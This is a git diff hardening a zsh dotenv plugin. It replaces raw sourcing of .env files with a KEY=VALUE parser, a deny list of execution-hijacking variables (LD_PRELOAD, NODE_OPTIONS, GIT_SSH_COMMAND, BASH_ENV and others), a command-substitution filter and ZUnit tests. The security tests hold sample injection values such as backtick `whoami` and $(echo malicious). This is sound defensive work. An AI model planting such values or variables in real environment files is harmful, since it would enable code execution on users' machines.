lines + + # Parse into command lines separated by `;`, with built-in support for multi-line commands. + # (Z:C:) ignores comments and preserves quotes and escapes. + # + # All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines + # by joining all elements between ';'. + # + # Example input: + # VAR1=value1; VAR2=value2 + # VAR3="multi + # line value" + # Result: + # typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' ) + # typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' ) + # + nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command + for node in "${nodes[@]}"; do + if [[ "$node" == ";" ]]; then + if [[ -n "$line" ]]; then + lines+=("$line") + line="" + fi + continue + fi + + [[ -z "$line" ]] || line+=" " + line+="$node" + done + + local -a forbidden_vars=( + NODE_OPTIONS + BASH_ENV + ENV + ZDOTDIR + ZSH + LD_PRELOAD + LD_LIBRARY_PATH + DYLD_INSERT_LIBRARIES + GIT_CONFIG_GLOBAL + GIT_DIR + GIT_EDITOR + GIT_EXTERNAL_DIFF + GIT_EXEC_PATH + GIT_PAGER + GIT_SSH + GIT_SSH_COMMAND + GIT_SSL_NO_VERIFY + GIT_TEMPLATE_DIR + VISUAL + PAGER + EDITOR + ${(k)parameters[(R)*export*special]} + ) + local forbidden="${(j:|:)forbidden_vars}" + + + # Each line contains a single command line, we need to parse valid KEY=VALUE pairs + for line in "${lines[@]}"; do + # Strip leading 'export ' keyword + line="${line#export[ ]}" + + # Match KEY=VALUE pattern + # "A name may be any sequence of alphanumeric characters and underscores" + # https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters + if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then + continue + fi + + key="${match[1]}" + value="${match[2]}" + raw_value="$value" + + # Filter out variables to be ignored for security reasons (best effort) + if [[ "$key" == (${~forbidden}) ]]; then + continue + fi + + # Use tokenization to split value with native shell parsing (handles quotes and escapes) + # Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run` + local -a words + words=("${(@z)value}") + if [[ ${#words} -ne 1 ]]; then + continue + fi + + ## START: FILTER COMMAND EXPANSION + # + # Filter lines with command expansion not in safe contexts + # + # READER'S NOTE: this is actually a "best effort" check (works in tests), but + # only to prevent setting variables with command substitution. The actual effect + # of setting them would not be a vulnerability, because we use `typeset name=value` + # and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`. + # + # What does this mean? If we were to remove this filter block, this is what would happen: + # + # Input: DANGEROUS=$(echo this is a command) + # Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution) + # + # Check for potential command substitution outside of safe contexts + # - single-quoted strings: command substitution is literal there + sq="'[^']#'" + # - double-quoted strings, but NOT unescaped ` or $( + dq='"([^"$`\\]|\\.|\\$[^(\`])#"' + # - unquoted text, but NOT unescaped ` or $( + uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#' + safe="(${sq}|${dq}|${uq})#" + # Remove the longest safe prefix; what remains starts at first unsafe construct + remainder="${value##${~safe}}" + + if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then + continue + fi + ## END: FILTER COMMAND EXPANSION + + # Single-quoted values are fully literal and must not participate in expansion. + if [[ "$raw_value" == \'*\' ]]; then + value="${(Q)value}" + parsed_vars[$key]="$value" + if [[ "$mode" == "export" ]]; then + typeset -x "$key"="$value" + fi + continue + fi + + # Preserve escaped dollars so they remain literal after unquoting. + escaped_dollar_placeholder=$'\001DOTENV_ESCAPED_DOLLAR\001' + value="${value//\\\$/$escaped_dollar_placeholder}" + + # Unquote the value to handle special characters and multiline values. + value="${(Q)value}" + + # Expand previously parsed in-file variables without partial name matches. + expanded="" + prefix="" + remainder="$value" + var_name="" + while [[ "$remainder" == *'$'* ]]; do + prefix="${remainder%%\$*}" + expanded+="$prefix" + remainder="${remainder#$prefix}" + + if [[ "$remainder" =~ '^\$\{([a-zA-Z_][a-zA-Z0-9_]*)\}(.*)$' ]]; then + var_name="${match[1]}" + remainder="${match[2]}" + elif [[ "$remainder" =~ '^\$([a-zA-Z_][a-zA-Z0-9_]*)(.*)$' ]]; then + var_name="${match[1]}" + remainder="${match[2]}" + else + expanded+='$' + remainder="${remainder#?}" + continue + fi + + if [[ -v "parsed_vars[$var_name]" ]]; then + expanded+="${parsed_vars[$var_name]}" + fi + done + value="${expanded}${remainder}" + value="${value//$escaped_dollar_placeholder/\$}" + + # Store in parsed vars (for in-file expansion) + parsed_vars[$key]="$value" + + # Normal mode: export the variable + if [[ "$mode" == "export" ]]; then + typeset -x "$key"="$value" + fi + done + + # In test mode, set DOTENV_TEST_VARS + typeset -gA DOTENV_TEST_VARS + DOTENV_TEST_VARS=("${(@kv)parsed_vars}") +} + +parse_dotenv() { + local filename="$1" + local mode="${2:-export}" + local content + + # Fail if file is too large to avoid DoS + zmodload -F zsh/stat b:zstat + local -i file_size max_size=10485760 # 10MiB + if ! file_size=$(zstat +size "$filename" 2>/dev/null); then + echo "dotenv: unable to determine size of file '$filename'" >&2 + return 1 + fi + + if (( file_size > max_size )); then + echo "dotenv: file '$filename' is too large to parse (size: $file_size bytes)" >&2 + return 1 + fi + + content="$(<"$filename")" || return 1 + _parse_dotenv_content "$content" "$mode" +} + +_dotenv_read_limited() { + local filename="$1" + local chunk content="" + local -i max_size=10485760 total=0 read_size=0 fd read_status + + zmodload zsh/system || return 1 + exec {fd}<"$filename" || return 1 + + while true; do + sysread -i $fd -s 65536 -c read_size chunk + read_status=$? + + if (( read_status == 5 )); then + break + elif (( read_status != 0 )); then + exec {fd}<&- + return 1 + fi + + (( total += read_size )) + if (( total > max_size )); then + exec {fd}<&- + echo "dotenv: file '$filename' is too large to parse (size: more than $max_size bytes)" >&2 + return 1 + fi + + content+="$chunk" + done + + exec {fd}<&- + REPLY="$content" +} + +_dotenv_check_syntax() { + local filename="$1" + + if (( $# == 2 )); then + printf '%s' "$2" | zsh -fn /dev/stdin + else + zsh -fn -- "$filename" + fi || { + echo "dotenv: error when sourcing '$filename' file" >&2 + return 1 + } +} + source_env() { if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then return @@ -37,28 +299,35 @@ source_env() { [[ $column -eq 1 ]] || echo # print same-line prompt and output newline character if necessary - echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([Y]es/[n]o/[a]lways/n[e]ver) " + echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([y]es/[N]o/[a]lways/n[e]ver) " read -k 1 confirmation [[ "$confirmation" = $'\n' ]] || echo # check input case "$confirmation" in - [nN]) return ;; + [yY]) ;; [aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;; [eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;; - *) ;; # interpret anything else as a yes + *) return ;; # interpret anything else as a no esac fi fi - # test .env syntax - zsh -fn $ZSH_DOTENV_FILE || { - echo "dotenv: error when sourcing '$ZSH_DOTENV_FILE' file" >&2 - return 1 - } + local content + if [[ -p "$ZSH_DOTENV_FILE" ]]; then + _dotenv_read_limited "$ZSH_DOTENV_FILE" || return 1 + content="$REPLY" + _dotenv_check_syntax "$ZSH_DOTENV_FILE" "$content" || return 1 + + setopt localoptions allexport + _parse_dotenv_content "$content" + return + fi + + _dotenv_check_syntax "$ZSH_DOTENV_FILE" || return 1 setopt localoptions allexport - source $ZSH_DOTENV_FILE + parse_dotenv "$ZSH_DOTENV_FILE" } autoload -U add-zsh-hook diff --git a/plugins/dotenv/tests/_output/.gitignore b/plugins/dotenv/tests/_output/.gitignore new file mode 100644 index 000000000..d6b7ef32c --- /dev/null +++ b/plugins/dotenv/tests/_output/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/plugins/dotenv/tests/_support/bootstrap b/plugins/dotenv/tests/_support/bootstrap new file mode 100644 index 000000000..f45bec020 --- /dev/null +++ b/plugins/dotenv/tests/_support/bootstrap @@ -0,0 +1,139 @@ +#!/usr/bin/env zsh +# Bootstrap script for dotenv plugin tests +# This is sourced before any tests run and provides shared utilities + +# Load the dotenv plugin +source "$PWD/dotenv.plugin.zsh" +ZSH_DOTENV_PROMPT=false +ZSH_DOTENV_FILE=/dev/null + +# Helper: Parse dotenv file in test mode +_parse_dotenv_test() { + parse_dotenv "$1" "test" +} + +# Helper: Parse dotenv file in export mode +_parse_dotenv_export() { + unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true + + parse_dotenv "$1" "test" + + for key in "${(k)DOTENV_TEST_VARS}"; do + typeset -x "$key"="${DOTENV_TEST_VARS[$key]}" + done +} + +# Helper: Run parse_dotenv suppressing stderr +_parse_dotenv_quiet() { + parse_dotenv "$@" 2>/dev/null +} + +# Helper: Create a temporary test fixture +_create_temp_fixture() { + local fixture + fixture==(:) # Create temp file + echo "$fixture" +} + +_write_temp_fixture() { + local fixture="$1" + > "$fixture" +} + + +# Helper: Source file with allexport and capture variables +# Usage: _source_with_allexport "file.env" +# Result is in DOTENV_SOURCE_VARS associative array +_source_with_allexport() { + local filename="$1" + + # Source with allexport in a subshell with no exported variables + + # The return and capture of the exported variables is a bit of a pain: + # 1. We first store the key=value pairs in $vars associative array, which is + # defined before allexport is set to avoid appearing in results. + # 2. Afterwards, we join all keys and values of the associative with null delimiters. With + # "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:) + # we join them with nulls. + # 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain + # empty values, and then uses it to populate an associative array. + # Don't try to understand this or change it unless you have to. Debugging is a nightmare. + typeset -gA DOTENV_SOURCE_VARS + DOTENV_SOURCE_VARS=("${(@0)"$( + local -A vars + + # Clear all exports first + zmodload zsh/parameter + unset ${(k)parameters[(R)*export*]} 2>/dev/null || true + + # Source file with allexport + setopt localoptions allexport + source "$filename" + + # Set all exported variables into an associative array + for key in ${(k)parameters[(R)*export*]}; do + vars[$key]="${(P)key}" + done + + print -rn -- "${(@kvpj:\0:)vars}" + )"}") +} + + +## ZUnit assertion helpers + +_zunit_assert_function_exists() { + [[ "${+functions[$1]}" -eq 1 ]] && return 0 + echo "Function '$1' does not exist" + exit 1 +} + +_zunit_assert_var_same_as() { + local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset} + if [[ $tvalue != $tcomp ]]; then + echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)" + exit 78 + fi + + # Special case for associative arrays + if [[ ${(Pt)1} == "association" ]]; then + local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}") + local -aU keys=("${(@k)value}" "${(@k)comparison}") + + local ret=0 key + for key in "${keys[@]}"; do + # Key match checks + if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then + echo "'$1[$key]' is set (value='${value[$key]}')" + ret=1 + elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then + echo "'$1[$key]' is not set (expected='${comparison[$key]}')" + ret=1 + # Value match checks + elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then + echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'" + ret=1 + fi + done + + exit $ret + fi + + # Generic case + local value="${(P)1}" comparison="${(P)2}" + [[ "$value" != "$comparison" ]] || exit 0 + echo "'$1' value mismatch: '$value' is not the same as '$comparison'" + exit 1 +} + +_zunit_assert_var_is_set() { + [[ -v "$1" ]] && return 0 + echo "Variable '$1' is not set" + exit 1 +} + +_zunit_assert_var_is_not_set() { + [[ ! -v "$1" ]] && return 0 + echo "Variable '$1' is set" + exit 1 +} diff --git a/plugins/dotenv/tests/_support/fixtures/dotenvjs.env b/plugins/dotenv/tests/_support/fixtures/dotenvjs.env new file mode 100644 index 000000000..16a56267c --- /dev/null +++ b/plugins/dotenv/tests/_support/fixtures/dotenvjs.env @@ -0,0 +1,88 @@ +# Consolidated dotenv test fixture from dotenv test suite +# Source: https://github.com/motdotla/dotenv/tree/master/tests +# +# Copyright (c) 2015, Scott Motte +# All rights reserved. + +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: + +# * Redistributions of source code must retain the above copyright notice, this +# list of conditions and the following disclaimer. + +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. + +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +# Basic assignments +BASIC=basic + +# previous line intentionally left blank +AFTER_LINE=after_line + +# Empty values +EMPTY= +EMPTY_SINGLE_QUOTES='' +EMPTY_DOUBLE_QUOTES="" + +# Single quotes (literal, no expansion) +SINGLE_QUOTES='single_quotes' +SINGLE_QUOTES_SPACED=' single quotes ' +DONT_EXPAND_SQUOTED='dontexpand\nnewlines' + +# Double quotes (with escapes) +DOUBLE_QUOTES="double_quotes" +DOUBLE_QUOTES_SPACED=" double quotes " +EXPAND_NEWLINES="expand\nnew\nlines" + +# Unquoted (no escape expansion) +DONT_EXPAND_UNQUOTED=dontexpand\nnewlines + +# Quotes inside quotes +DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes' +SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes" + +# Comments +# COMMENTS=work +INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work +INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work +INLINE_COMMENTS_UNQUOTED=value # work + +# Special characters +EQUAL_SIGNS=equals== +RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}' +USEREMAIL=therealnerdybeast@example.tld + +# Multiline values with double quotes +MULTI_DOUBLE_QUOTED="THIS +IS +A +MULTILINE +STRING" + +# Multiline values with single quotes +MULTI_SINGLE_QUOTED='THIS +IS +A +MULTILINE +STRING' + +# Multiline PEM certificate +MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u +LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/ +bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/ +kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V +u4QuUoobAgMBAAE= +-----END PUBLIC KEY-----" diff --git a/plugins/dotenv/tests/_support/fixtures/features.env b/plugins/dotenv/tests/_support/fixtures/features.env new file mode 100644 index 000000000..e5862bc8e --- /dev/null +++ b/plugins/dotenv/tests/_support/fixtures/features.env @@ -0,0 +1,23 @@ +# Export syntax +export EXPORTED_VAR=exported_value +export EXPORTED_EMPTY= + +# Variable expansion (in-file forward references) +BASE_URL=https://api.example.com +API_ENDPOINT="${BASE_URL}/v1" +FULL_ENDPOINT=$BASE_URL/v2/users +COMBINED="${BASE_URL}_suffix" + +# Testing multiline quoting edge cases +MULTILINE_UNQUOTED=This\ is\ a\ \ +multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline +MULTILINE_DOUBLE_QUOTED="This is a \ +multiline value that should be treated as a single line with an actual newline character" +MULTILINE_SINGLE_QUOTED='This is a \ +multiline value that should be treated as a single line with a literal backslash and newline' +MULTILINE_MIXED_QUOTES="This is a \ +multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside" + +# Test for regressions +DATABASE_URL="postgres://user:pass@host/db;sslmode=require" +VAR_WITH_SEMICOLONS="value ; with ; semicolons" diff --git a/plugins/dotenv/tests/basic-parsing.zunit b/plugins/dotenv/tests/basic-parsing.zunit new file mode 100644 index 000000000..611f6a70a --- /dev/null +++ b/plugins/dotenv/tests/basic-parsing.zunit @@ -0,0 +1,398 @@ +#!/usr/bin/env zunit + + +@setup { + typeset -g fixture="$(_create_temp_fixture)" + typeset -gA expected_vars=() +} + +@teardown { + [[ -f "$fixture" ]] && command rm -f "$fixture" + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@test 'dotenv plugin loads successfully' { + assert "parse_dotenv" function_exists + assert "source_env" function_exists +} + +@test 'parse returns error for unsupported mode' { + run _parse_dotenv_quiet "/dev/null" "export" + assert $state equals 0 + + run _parse_dotenv_quiet "/dev/null" "test" + assert $state equals 0 + + run _parse_dotenv_quiet "/dev/null" "invalid_mode" + assert $state equals 1 +} + +@test 'parse returns error for oversized file (> 10MiB)' { + command truncate -s 11M "$fixture" 2>/dev/null + + run _parse_dotenv_quiet "$fixture" "test" + assert $state equals 1 +} + +@test 'parse returns error for non-existent file' { + run _parse_dotenv_quiet "/nonexistent/path/.env" "test" + assert $state equals 1 +} + +@test 'source_env loads named pipes without blocking' { + local tmpdir fifo output result + local child_pid writer_pid killer_pid child_rc + + tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" + fifo="$tmpdir/.env" + output="$tmpdir/output" + command mkfifo "$fifo" + + ( + print -r -- 'TOKEN=secret' > "$fifo" + ) & + writer_pid=$! + + ( + ZSH_DOTENV_PROMPT=false + ZSH_DOTENV_FILE="$fifo" + source_env + print -r -- "${TOKEN-}" > "$output" + ) & + child_pid=$! + + ( + sleep 2 + kill -0 $child_pid 2>/dev/null || exit 0 + kill $child_pid 2>/dev/null || exit 0 + ) & + killer_pid=$! + + wait $child_pid + child_rc=$? + + kill $killer_pid 2>/dev/null || true + kill $writer_pid 2>/dev/null || true + wait $writer_pid 2>/dev/null || true + + [[ -f "$output" ]] && result="$(<"$output")" + command rm -rf "$tmpdir" + + assert $child_rc equals 0 + assert "$result" equals 'secret' +} + +@test 'source_env rejects oversized named pipes' { + run zsh -fc ' + source ./dotenv.plugin.zsh + + tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" || exit 1 + fifo="$tmpdir/.env" + command mkfifo "$fifo" || exit 1 + + cleanup() { + kill $killer_pid 2>/dev/null || true + kill $writer_pid 2>/dev/null || true + wait $writer_pid 2>/dev/null || true + command rm -rf "$tmpdir" + } + trap cleanup EXIT + + ( + { + print -rn -- "BIG=" + command dd if=/dev/zero bs=10485761 count=1 2>/dev/null | tr "\0" a + } > "$fifo" + ) & + writer_pid=$! + + ( + sleep 2 + kill -0 $$ 2>/dev/null || exit 0 + kill $$ 2>/dev/null || exit 0 + ) & + killer_pid=$! + + ZSH_DOTENV_PROMPT=false + ZSH_DOTENV_FILE="$fifo" + source_env >/dev/null 2>&1 + ' + + assert $state equals 1 +} + +@test 'parse basic variable assignment' { + > "$fixture" <<'EOF' +# Basic assignments +BASIC=basic + +# previous line intentionally left blank +AFTER_LINE=after_line +EOF + + expected_vars=( + BASIC 'basic' + AFTER_LINE 'after_line' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse empty values' { + > "$fixture" <<'EOF' +# Empty values +EMPTY= +EMPTY_SINGLE_QUOTES='' +EMPTY_DOUBLE_QUOTES="" +EOF + + expected_vars=( + EMPTY '' + EMPTY_SINGLE_QUOTES '' + EMPTY_DOUBLE_QUOTES '' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse single quoted values' { + > "$fixture" <<'EOF' +# Single quotes (literal, no expansion) +SINGLE_QUOTES='single_quotes' +SINGLE_QUOTES_SPACED=' single quotes ' +DONT_EXPAND_SQUOTED='dontexpand\nnewlines' +EOF + + expected_vars=( + SINGLE_QUOTES 'single_quotes' + SINGLE_QUOTES_SPACED ' single quotes ' + DONT_EXPAND_SQUOTED 'dontexpand\nnewlines' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse double quoted values' { + > "$fixture" <<'EOF' +# Double quotes (with escapes) +DOUBLE_QUOTES="double_quotes" +DOUBLE_QUOTES_SPACED=" double quotes " +EXPAND_NEWLINES="expand\nnew\nlines" +EOF + + expected_vars=( + DOUBLE_QUOTES 'double_quotes' + DOUBLE_QUOTES_SPACED ' double quotes ' + EXPAND_NEWLINES "expand\nnew\nlines" + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse unquoted values' { + > "$fixture" <<'EOF' +# Unquoted (no escape expansion) +DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines +EOF + + + expected_vars=( + DONT_EXPAND_UNQUOTED 'dontexpandnnewlines' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse quotes inside quotes' { + > "$fixture" <<'EOF' +# Quotes inside quotes +DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes' +SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes" +EOF + + expected_vars=( + DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes' + SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes" + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse inline comments' { + > "$fixture" <<'EOF' +# Comments +# COMMENTS=work +INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work +INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work +INLINE_COMMENTS_UNQUOTED=value # work +EOF + + expected_vars=( + INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes' + INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes' + INLINE_COMMENTS_UNQUOTED 'value' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse ignores non-assignment commands with assignment-looking arguments' { + > "$fixture" <<'EOF' +print SHOULD_NOT_PARSE=value +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse special characters' { + > "$fixture" <<'EOF' +# Special characters +EQUAL_SIGNS=equals== +RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}' +USEREMAIL=therealnerdybeast@example.tld +EOF + + expected_vars=( + EQUAL_SIGNS 'equals==' + RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}' + USEREMAIL 'therealnerdybeast@example.tld' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse multiline values with mixed quotes' { + > "$fixture" <<'EOF' +# Multiline values with double quotes +MULTI_DOUBLE_QUOTED="THIS +IS +A +MULTILINE +STRING" + + +# Multiline values with single quotes +MULTI_SINGLE_QUOTED='THIS +IS +A +MULTILINE +STRING' + +# Multiline PEM certificate +MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u +LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/ +bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/ +kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V +u4QuUoobAgMBAAE= +-----END PUBLIC KEY-----" +EOF + + expected_vars=( + MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING' + MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING' + MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse export syntax' { + > "$fixture" <<'EOF' +# Exported variables +export EXPORTED_VAR=exported_value +export EXPORTED_EMPTY= +EOF + + expected_vars=( + EXPORTED_VAR 'exported_value' + EXPORTED_EMPTY '' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse in-file variable expansion' { + > "$fixture" <<'EOF' +# Variable expansion (in-file forward references) +BASE_URL=https://api.example.com +API_ENDPOINT="${BASE_URL}/v1" +FULL_ENDPOINT=$BASE_URL/v2/users +COMBINED="${BASE_URL}_suffix" +EOF + + expected_vars=( + BASE_URL 'https://api.example.com' + API_ENDPOINT 'https://api.example.com/v1' + FULL_ENDPOINT 'https://api.example.com/v2/users' + COMBINED 'https://api.example.com_suffix' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse in-file variable expansion prefers the longest matching variable name' { + > "$fixture" <<'EOF' +A=1 +ABC=2 +X=$ABC +Y=${ABC} +Z=$ABCD +EOF + + expected_vars=( + A '1' + ABC '2' + X '2' + Y '2' + Z '' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse preserves escaped dollar signs before variable expansion' { + > "$fixture" <<'EOF' +BAR=expanded +ESCAPED_UNQUOTED=foo\$BAR +ESCAPED_DOUBLE="foo\$BAR" +ESCAPED_BRACED="\${BAR}" +EOF + + expected_vars=( + BAR 'expanded' + ESCAPED_UNQUOTED 'foo$BAR' + ESCAPED_DOUBLE 'foo$BAR' + ESCAPED_BRACED '${BAR}' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} diff --git a/plugins/dotenv/tests/compatibility.zunit b/plugins/dotenv/tests/compatibility.zunit new file mode 100644 index 000000000..61c5dddba --- /dev/null +++ b/plugins/dotenv/tests/compatibility.zunit @@ -0,0 +1,27 @@ +#!/usr/bin/env zunit + +@setup { + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@teardown { + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@test 'compatibility: dotenvjs fixture matches native source' { + local fixture="${testdir:A}/_support/fixtures/dotenvjs.env" + + _parse_dotenv_test "$fixture" + _source_with_allexport "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS" +} + +@test 'compatibility: features fixture matches native source' { + local fixture="${testdir:A}/_support/fixtures/features.env" + + _parse_dotenv_test "$fixture" + _source_with_allexport "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS" +} diff --git a/plugins/dotenv/tests/security.zunit b/plugins/dotenv/tests/security.zunit new file mode 100644 index 000000000..414f87bb7 --- /dev/null +++ b/plugins/dotenv/tests/security.zunit @@ -0,0 +1,209 @@ +#!/usr/bin/env zunit + +@setup { + typeset -g fixture="$(_create_temp_fixture)" + typeset -gA expected_vars=() +} + +@teardown { + [[ -f "$fixture" ]] && command rm -f "$fixture" + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@test 'skip dangerous backtick command substitution' { + > "$fixture" <<'EOF' +# Should be skipped +DANGEROUS_BACKTICK=`whoami` +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip dangerous subshell command substitution' { + > "$fixture" <<'EOF' +# Should be skipped +DANGEROUS_SUBSHELL=$(date) +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip nested command substitution in double quotes' { + > "$fixture" <<'EOF' +# Should be skipped +DANGEROUS_NESTED="prefix_$(echo malicious)_suffix" +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip multiple words (potential command execution)' { + > "$fixture" <<'EOF' +# Should be skipped - multiple words could execute commands 